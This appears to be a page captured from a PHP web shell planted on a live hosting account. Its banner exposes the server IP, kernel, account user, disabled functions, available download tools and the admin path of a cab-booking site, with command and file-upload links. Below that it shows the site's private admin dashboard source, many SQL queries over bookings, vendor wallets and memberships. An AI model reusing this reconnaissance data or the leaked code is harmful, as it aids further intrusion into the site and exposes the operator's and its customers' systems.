Server IP : 82.112.239.40 / Your IP : 3.137.172.131 Web Server : LiteSpeed System : Linux in-mum-web1676.main-hosting.eu 5.14.0-503.35.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 4 05:23:43 EDT 2025 x86_64 User : u641149403 ( 641149403) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u641149403/domains/cabz4you.com/public_html/admin/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php $date = date('Y-m-d h:i:s'); $current_time=date('Y-m-d H:i:s'); $total_profits = $conn->query("SELECT SUM(admin_commission - incentive) as total_profit, COUNT(*) as total_profit_booking FROM bookings WHERE incentive < admin_commission"); $total_profit = $total_profits->fetch_assoc(); $total_losses = $conn->query("SELECT SUM(incentive - admin_commission) as total_loss, COUNT(*) as total_loss_booking FROM bookings WHERE incentive > admin_commission"); $total_loss = $total_losses->fetch_assoc(); $recent_booking = $conn->query("select * from recent_search"); $sql = "select count(*) as total_booking,sum(price) as sum from bookings where status !='pending'"; if ($result = $conn->query($sql)) { $one = $result->fetch_assoc(); } $sql = "select count(*) as total_booking from bookings where status ='booked'"; if ($result = $conn->query($sql)) { $pending = $result->fetch_assoc(); } $sql = "select count(*) as total_booking from bookings where status='vendor_pass' and bid_by='admin'"; if ($result = $conn->query($sql)) { $bid_admin = $result->fetch_assoc(); } $sql = "select count(*) as total_booking from bookings where status='vendor_pass'"; if ($result = $conn->query($sql)) { $bid_vendor = $result->fetch_assoc(); } $sql = "select count(*) as total_booking from bookings where status ='completed'"; if ($result = $conn->query($sql)) { $done = $result->fetch_assoc(); } $sql="SELECT bookings.*,bookings.id as bk_id,payment_log.txn_amount,payment_log.booking_id,users.* FROM bookings LEFT JOIN payment_log ON payment_log.booking_id=bookings.id LEFT JOIN users ON users.id=bookings.user_id WHERE bookings.status='cancelled' ORDER BY bookings.pickup_date DESC"; if ($result = $conn->query($sql)) { $cancel = $result->num_rows; } $sql = "select count(*) as total_booking from bookings where status ='confirmed'"; if ($result = $conn->query($sql)) { $processing = $result->fetch_assoc(); } $sql = "select count(*) as vendors,sum(w_amount) as amounts from vendor_profile"; if ($result = $conn->query($sql)) { $vendor = $result->fetch_assoc(); } $sql = "select count(*) as cabs from cabs"; if ($result = $conn->query($sql)) { $cabs = $result->fetch_assoc(); } $sql = "select count(*) as drivers from drivers"; if ($result = $conn->query($sql)) { $drivers = $result->fetch_assoc(); } $sql = "select count(*) as users from users"; if ($result = $conn->query($sql)) { $users = $result->fetch_assoc(); } // ==============total cab type======================= $sql = "select count(*) as cab from cab_types"; if ($result = $conn->query($sql)) { $cab = $result->fetch_assoc(); } // ============sum vendor wallet amount============== $sql = "select SUM(w_amount) as wallet_amount from vendor_profile"; if ($result = $conn->query($sql)) { $wallet = $result->fetch_assoc(); } // ==============total New Booking======================= $sql = "select count(*) as new_booking from bookings where booking_type!='Admin' and seen=0"; if ($result = $conn->query($sql)) { $new_booking = $result->fetch_assoc(); } // wallet vendor $sql = "select count(*) as vendors,sum(w_amount) as amounts from vendor_login u,vendor_profile up where u.id=up.vendor_id and w_amount>0"; // $sql = "select count(*) as vendors,sum(w_amount) as amounts from vendor_profile where w_amount>0"; if ($result = $conn->query($sql)) { $wallet_vendor = $result->fetch_assoc(); } $sql = "select count(*) as minus_vendor,sum(w_amount) as wallet from vendor_login u,vendor_profile up where u.id=up.vendor_id and w_amount<0"; if ($result = $conn->query($sql)) { $minus_wallet = $result->fetch_assoc(); } $sql = "select count(*) as zero_vendor from vendor_profile where w_amount=0"; if ($result = $conn->query($sql)) { $zero_wallet = $result->fetch_assoc(); } // vendor_app_version $other_vendor = $conn->query("SELECT * FROM other_vendor"); $other_user = $conn->query("SELECT * FROM other_users"); $vendor_app_updated = $conn->query("SELECT * FROM vendor_app_version"); // vendor_app_not_version $vendor_app_not_updated = $conn->query("SELECT * FROM vendor_login vl WHERE NOT EXISTS (SELECT 1 FROM vendor_app_version vav WHERE vav.vendor_id = vl.id)"); // ==============total membership================ $sql="SELECT * FROM membership_log INNER JOIN vendor_profile ON membership_log.vendor_id=vendor_profile.vendor_id WHERE membership_log.status=1"; if ($result = $conn->query($sql)) { $membership = $result->num_rows; } $prime=$conn->query("SELECT * FROM membership_log LEFT JOIN vendor_profile ON membership_log.vendor_id=vendor_profile.vendor_id LEFT JOIN vendor_login ON membership_log.vendor_id=vendor_login.id LEFT JOIN membership ON membership_log.membership_id=membership.id"); $prime_member = $prime->num_rows; // driver not attached $not_attached_driver = $conn->query("SELECT a.*,vendor_profile.* FROM vendor_login a INNER JOIN vendor_profile ON vendor_profile.vendor_id=a.id WHERE a.id NOT IN (SELECT b.vendor_id FROM drivers b)"); // Cabs not attached $not_attached_cab = $conn->query("SELECT vendor_login.*,vendor_profile.* FROM vendor_login INNER JOIN vendor_profile ON vendor_profile.vendor_id=vendor_login.id WHERE vendor_login.id NOT IN (SELECT cabs.vendor_id FROM cabs)"); // Cabs not attached $not_attached_driver_cab = $conn->query("SELECT vendor_login.*,vendor_profile.* FROM vendor_login INNER JOIN vendor_profile ON vendor_profile.vendor_id=vendor_login.id WHERE vendor_login.id NOT IN (SELECT cabs.vendor_id FROM cabs) AND vendor_login.id NOT IN (SELECT drivers.vendor_id FROM drivers)"); // active vendor $pending_vendor = $conn->query("SELECT vendor_login.contact,vendor_profile.vendor_id,vendor_profile.full_name,vendor_profile.city,vendor_profile.state,vendor_login.email from vendor_login,vendor_profile where vendor_login.id=vendor_profile.vendor_id and vendor_profile.profile_status=-1"); // active vendor $active_vendor = $conn->query("select * from vendor_login where status=1"); // Inactive vendor $inactive_vendor = $conn->query("select * from vendor_login where status=0"); // Active prime vendor $active_prime_vendor = $conn->query("SELECT * FROM membership_log LEFT JOIN vendor_profile ON membership_log.vendor_id=vendor_profile.vendor_id LEFT JOIN vendor_login ON membership_log.vendor_id=vendor_login.id LEFT JOIN membership ON membership_log.membership_id=membership.id WHERE end>='$date'"); // expired prime vendor $expired_prime_vendor = $conn->query("SELECT * FROM membership_log LEFT JOIN vendor_profile ON membership_log.vendor_id=vendor_profile.vendor_id LEFT JOIN vendor_login ON membership_log.vendor_id=vendor_login.id LEFT JOIN membership ON membership_log.membership_id=membership.id WHERE end<'$date'"); // Not prime vendor $not_prime_vendor = $conn->query("SELECT vendor_login.*,vendor_profile.* FROM vendor_login INNER JOIN vendor_profile ON vendor_profile.vendor_id=vendor_login.id WHERE vendor_login.id NOT IN (SELECT membership_log.vendor_id FROM membership_log)"); // expired vendor booking $expired_assigned_booking=$conn->query("SELECT bookings.*,bookings.id as bk_id,payment_log.txn_amount,payment_log.booking_id,users.* FROM bookings LEFT JOIN payment_log ON payment_log.booking_id=bookings.id LEFT JOIN users ON users.id=bookings.user_id WHERE bookings.status='vendor_pass' AND TIMESTAMP(`pickup_date`, `pickup_time`)<'$current_time' ORDER BY bookings.pickup_date DESC"); // Not Assigned booking $not_assigned_booking=$conn->query("SELECT bookings.*,bookings.id as bk_id,payment_log.txn_amount,payment_log.booking_id,users.* FROM bookings LEFT JOIN payment_log ON payment_log.booking_id=bookings.id LEFT JOIN users ON users.id=bookings.user_id WHERE bookings.status='vendor_pass' AND TIMESTAMP(`pickup_date`, `pickup_time`)>='$current_time' ORDER BY bookings.pickup_date DESC"); $available_cabs = $conn->query("SELECT available_vehicle.*,vendor_profile.full_name FROM available_vehicle INNER JOIN vendor_profile ON vendor_profile.vendor_id=available_vehicle.vendor_id"); // Renewel prime vendor $q="SELECT *,membership_log.status as status FROM membership_log LEFT JOIN vendor_profile ON membership_log.vendor_id=vendor_profile.vendor_id LEFT JOIN vendor_login ON membership_log.vendor_id=vendor_login.id LEFT JOIN membership ON membership_log.membership_id=membership.id group by membership_log.vendor_id having count(*)>1"; $qq = mysqli_query($conn,$q); while($row = mysqli_fetch_array($qq)) { $vendor_id[] = $row['vendor_id']; } $vendor_id = implode(',', $vendor_id); $renewel_prime_vendor=$conn->query("SELECT *,membership_log.status as status FROM membership_log LEFT JOIN vendor_profile ON membership_log.vendor_id=vendor_profile.vendor_id LEFT JOIN vendor_login ON membership_log.vendor_id=vendor_login.id LEFT JOIN membership ON membership_log.membership_id=membership.id WHERE end>='$date' AND membership_log.status=1 AND membership_log.vendor_id IN ($vendor_id)"); // chart // membership count date wise $sevenDays=array(); $membership_date = array(); $membership_total_amount = array(); $membership_amount=0; // vendor $vendor_date = array(); $vendor_date2 = array(); $vendor_date3 = array(); $vendor_wallets = 0; $vendor_wallet_amounts = array(); $refund_wallet_amounts = array(); // bookings // pending $created_booking_vendor = array(); $created_booking_admin = array(); // processing $processing_booking_vendor = array(); $processing_booking_admin = array(); // confirmed $confirmed_booking_vendor = array(); $confirmed_booking_admin = array(); // completed $completed_booking_vendor = array(); $completed_booking_admin = array(); // cancelled $cancelled_booking_vendor = array(); $cancelled_booking_admin = array(); for ($i=0; $i < 7; $i++) { $seven_days = date('Y-m-d',strtotime("-$i days")); $membership_date_wise_count=$conn->query("SELECT * FROM membership_log INNER JOIN vendor_profile ON membership_log.vendor_id=vendor_profile.vendor_id INNER JOIN membership ON membership.id=membership_log.membership_id WHERE DATE(start ) = '$seven_days'"); $membership_data = $membership_date_wise_count->fetch_assoc(); $membership_amount = $membership_data['price']*$membership_date_wise_count->num_rows; array_push($membership_total_amount, $membership_amount); array_push($sevenDays, $seven_days); array_push($membership_date, $membership_date_wise_count->num_rows); // VENDOR REGISTRATION $vendor_date_wise_count=$conn->query("SELECT * FROM vendor_login INNER JOIN vendor_profile ON vendor_profile.vendor_id=vendor_login.id WHERE DATE(timestamp) = '$seven_days'"); array_push($vendor_date, $vendor_date_wise_count->num_rows); // inactive vendor $vendor_date_wise_count_inactive=$conn->query("SELECT * FROM vendor_login INNER JOIN vendor_profile ON vendor_profile.vendor_id=vendor_login.id WHERE status=0 AND DATE(timestamp) = '$seven_days'"); array_push($vendor_date2, $vendor_date_wise_count_inactive->num_rows); // pending vendor $vendor_date_wise_count_pending=$conn->query("SELECT * FROM vendor_login INNER JOIN vendor_profile ON vendor_profile.vendor_id=vendor_login.id WHERE profile_status=-1 AND DATE(timestamp) = '$seven_days'"); array_push($vendor_date3, $vendor_date_wise_count_pending->num_rows); // wallet $wallets = $conn->query("SELECT sum(amount) as total_amount from transaction_log WHERE DATE(time) = '$seven_days' AND txn_type='Credit' AND action='Adding Money to Wallet'"); $transaction_log_amount = $wallets->fetch_assoc(); array_push($vendor_wallet_amounts, $transaction_log_amount['total_amount']); // wallet $refund_amount = $conn->query("SELECT sum(amount) as total_amount from transaction_log WHERE DATE(time) = '$seven_days' AND txn_type='Debit' AND action='Wallet To Bank Transfer'"); $transaction_log_refund_amount = $refund_amount->fetch_assoc(); array_push($refund_wallet_amounts, $transaction_log_refund_amount['total_amount']); // PENDING BOOKING VENDOR POST $created_booking_vendor_data=$conn->query("SELECT * FROM bookings WHERE booking_type='Vendor App' AND DATE(time_stamp) = '$seven_days'"); array_push($created_booking_vendor, $created_booking_vendor_data->num_rows); // PENDING BOOKING ADMIN POST $created_booking_admin_data=$conn->query("SELECT * FROM bookings WHERE booking_type='admin' AND DATE(time_stamp) = '$seven_days'"); array_push($created_booking_admin, $created_booking_admin_data->num_rows); // PROCESSING BOOKING VENDOR POST $processing_booking_vendor_data=$conn->query("SELECT * FROM bookings WHERE status='vendor_pass' AND booking_type='Vendor App' AND DATE(time_stamp) = '$seven_days'"); array_push($processing_booking_vendor, $processing_booking_vendor_data->num_rows); // PROCESSING BOOKING ADMIN POST $processing_booking_admin_data=$conn->query("SELECT * FROM bookings WHERE status='vendor_pass' AND booking_type='admin' AND DATE(time_stamp) = '$seven_days'"); array_push($processing_booking_admin, $processing_booking_admin_data->num_rows); // CONFIRMED BOOKING VENDOR POST $confirmed_booking_vendor_data=$conn->query("SELECT * FROM bookings WHERE status='confirmed' AND booking_type='Vendor App' AND DATE(time_stamp) = '$seven_days'"); array_push($confirmed_booking_vendor, $confirmed_booking_vendor_data->num_rows); // CONFIRMED BOOKING ADMIN POST $confirmed_booking_admin_data=$conn->query("SELECT * FROM bookings WHERE status='confirmed' AND booking_type='admin' AND DATE(time_stamp) = '$seven_days'"); array_push($confirmed_booking_admin, $confirmed_booking_admin_data->num_rows); // COMPLETED BOOKING VENDOR POST $completed_booking_vendor_data=$conn->query("SELECT * FROM bookings WHERE status='completed' AND booking_type='Vendor App' AND DATE(time_stamp) = '$seven_days'"); array_push($completed_booking_vendor, $completed_booking_vendor_data->num_rows); // COMPLETED BOOKING ADMIN POST $completed_booking_admin_data=$conn->query("SELECT * FROM bookings WHERE status='completed' AND booking_type='admin' AND DATE(time_stamp) = '$seven_days'"); array_push($completed_booking_admin, $completed_booking_admin_data->num_rows); // CANCELLED BOOKING VENDOR POST $cancelled_booking_vendor_data=$conn->query("SELECT * FROM bookings WHERE status='cancelled' AND booking_type='Vendor App' AND DATE(time_stamp) = '$seven_days'"); array_push($cancelled_booking_vendor, $cancelled_booking_vendor_data->num_rows); // COMPLETED BOOKING ADMIN POST $cancelled_booking_admin_data=$conn->query("SELECT * FROM bookings WHERE status='cancelled' AND booking_type='admin' AND DATE(time_stamp) = '$seven_days'"); array_push($cancelled_booking_admin, $cancelled_booking_admin_data->num_rows); } ?>